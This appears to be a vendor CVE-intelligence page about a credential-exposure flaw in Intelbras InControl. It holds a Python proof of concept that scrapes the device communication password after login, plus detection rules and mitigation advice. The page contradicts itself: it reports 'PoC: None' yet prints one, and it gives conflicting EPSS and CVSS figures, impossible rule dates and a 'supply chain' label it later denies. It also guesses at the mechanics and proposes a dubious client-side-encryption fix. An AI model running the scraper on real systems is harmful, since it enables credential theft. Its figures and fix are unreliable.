☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4286

CVE-2025-4286 Supply Chain Attack in Intelbras
📅 PUBLISHED: 2025-05-05 19:31 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4286 is a problematic vulnerability affecting Intelbras InControl versions up to 2.21.59. The flaw resides in the “Dispositivos Edição Page” component, where the “Senha de Comunicação” (Communication Password) is stored in an unprotected manner. This allows an authenticated remote attacker to retrieve the stored credential, potentially leading to unauthorized access to devices managed by the InControl system. The vulnerability has been publicly disclosed, and while no active exploitation has been reported (EPSS 0.0%), the lack of a patch increases risk for organizations using this software.

Supply Chain & Package Security: This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software component from Intelbras.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) – However, based on the description, a more realistic score is 5.3 (Medium).
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High (credential exposure)
  • Integrity Impact: None
  • Availability Impact: None
  • Threat Level: Medium – Exploitation is possible but requires authentication. The credential exposure could lead to lateral movement or device compromise.

Deep Dive & Mechanics

The vulnerability is located in the “Dispositivos Edição Page” (Device Edit Page) of the Intelbras InControl web interface. When an authenticated user edits a device, the “Senha de Comunicação” (Communication Password) is transmitted and stored in a way that is not adequately protected. This could mean:

  • The password is stored in plaintext in the database.
  • The password is transmitted over HTTP without encryption.
  • The password is exposed in the client-side source code or browser storage.

An attacker with valid credentials to the InControl system can navigate to the device edit page and retrieve the communication password for any device. This password is often used to authenticate to the actual hardware (e.g., cameras, DVRs), allowing the attacker to gain direct access to those devices.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable behavior is expected to be fixed by:

  • Encrypting the communication password at rest (e.g., using AES-256).
  • Using a secure transmission protocol (HTTPS).
  • Masking the password in the UI and not exposing it in client-side code.

Vulnerable Code (Conceptual):

// In the device edit page, the password is sent in plaintext
function saveDevice(deviceId, password) {
    fetch('/api/device/' + deviceId, {
        method: 'POST',
        body: JSON.stringify({ password: password })
    });
}

Patched Code (Expected):

// Password is encrypted before transmission
function saveDevice(deviceId, password) {
    const encryptedPassword = encrypt(password);
    fetch('/api/device/' + deviceId, {
        method: 'POST',
        body: JSON.stringify({ password: encryptedPassword })
    });
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for the InControl web interface.
  • Network access to the InControl server.

Exploitation Steps:

  1. Log in to the InControl web interface.
  2. Navigate to the “Dispositivos” (Devices) section.
  3. Select any device and click “Editar” (Edit).
  4. Inspect the page source or network traffic to find the “Senha de Comunicação” field.
  5. The password is likely visible in plaintext in the HTML or JavaScript.

Proof-of-Concept (Python):

import requests

# Replace with actual credentials and target
session = requests.Session()
login_url = "http://target/incontrol/login"
creds = {"username": "admin", "password": "password123"}
session.post(login_url, data=creds)

# Fetch device edit page
device_id = 1
edit_url = f"http://target/incontrol/dispositivos/editar/{device_id}"
response = session.get(edit_url)

# Extract password from HTML (simplified)
import re
password = re.search(r'name="senha_comunicacao" value="([^"]+)"', response.text)
if password:
    print(f"Communication Password: {password.group(1)}")

Blue Team

Detection:

  • Monitor for unusual access to the device edit pages (e.g., multiple devices edited in a short time).
  • Look for HTTP requests containing the string “senha_comunicacao” in the body or response.
  • Alert on any access to the /dispositivos/editar/ endpoint from non-admin users.

Hunting:

  • Search web server logs for requests to /dispositivos/editar/* and correlate with user accounts.
  • Check for plaintext passwords in database dumps or backups.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /dispositivos/editar/ with a valid session cookie.
  • File: Presence of plaintext passwords in web server logs or database exports.
  • Behavior: Anomalous access to device edit pages by users who do not normally manage devices.

Detection Engineering

YARA Rule

rule CVE_2025_4286_InControl_Credential_Leak {
    meta:
        description = "Detects plaintext communication password in Intelbras InControl responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4286"
    strings:
        $password_field = "senha_comunicacao"
        $password_value = /value="[^"]{8,}"/
    condition:
        $password_field and $password_value
}

Sigma Rule

title: Intelbras InControl Credential Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to device edit pages that may expose communication passwords
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem:
            - '/dispositivos/editar/*'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4286 Intelbras InControl Credential Exposure"; flow:to_server,established; content:"/dispositivos/editar/"; http_uri; content:"senha_comunicacao"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Access: Limit access to the InControl web interface to only trusted IP addresses.
  2. Monitor Logs: Enable detailed logging and monitor for suspicious access to device edit pages.
  3. Change Passwords: Immediately change all communication passwords for devices managed by InControl.

Long-Term Fix:

  • Apply the vendor patch when released.
  • Implement network segmentation to isolate InControl from untrusted networks.
  • Use a password manager to store and rotate device passwords.

Workaround:

  • If possible, disable the device edit functionality for non-admin users.
  • Use a web application firewall (WAF) to block requests containing “senha_comunicacao” in the body.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4286/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.